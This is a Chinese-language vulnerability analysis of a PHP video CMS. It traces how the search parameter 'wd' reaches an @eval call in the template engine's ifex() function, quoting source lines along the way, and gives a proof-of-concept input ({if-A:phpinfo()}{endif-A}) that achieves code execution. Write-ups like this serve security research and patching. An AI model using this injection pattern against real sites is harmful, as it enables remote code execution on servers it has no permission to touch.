下載鏈接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db
首先打開Index.php
$m = be('get','m');
m參數獲取經過第17行分割后
$par = explode('-',$m);
這里填入?m=vod-search
經過34-39行處理
$acs = array('vod','art','map','user','gbook','comment','label'); if(in_array($ac,$acs)){ $tpl->P["module"] = $ac; include MAC_ROOT.'/inc/module/'.$ac.'.php'; }
這樣就包含了/inc/module/vod.php
elseif($method=='search') { $tpl->P["siteaid"] = 15; $wd = be("all", "wd"); if(!empty($wd)){ $tpl->P["wd"] = $wd; }
然后獲取wd參數
之后在index.php第45行附近進入了
$tpl->ifex();
跟蹤函數
剛上來
function ifex() { if (!strpos(",".$this->H,"{if-")) { return; } $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
定義正則的規則 而$this-H在vod文件中說明了/inc/module/vod.php 189行附近
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
回到/inc/common/template.php 866行
preg_match_all($labelRule,$this->H,$iar);
其實就是匹配出提取出來的wd參數
接着進入循環
for($m=0;$m<$arlen;$m++){ $strn = $iar[1][$m]; $strif= asp2phpif( $iar[2][$m] ) ;
接着往下走發現要實現eval
在916到921行限制是最少的
else{ //die("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}"); @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}"); if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); } }
總結一下$this-H中必須有{if-我們輸入的wd參數帶有{if-就可以繞過
然后滿足
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
這樣提交
{if-A:phpinfo()}{endif-A}
進入preg_match_all中上面內容被扔進一個二維數組中
第874行的函數就是
for($m=0;$m<$arlen;$m++){ $strn = $iar[1][$m]; $strif= asp2phpif( $iar[2][$m] ) ; --874
phpinfo()
接着不滿足881行的if條件
if (strpos(",".$strThen,$labelRule2)>0){
進入了906行 而又不滿足908行的if
if (strpos(",".$strThen,$labelRule3)>0){
進入了最沒限制的916行
導致了命令執行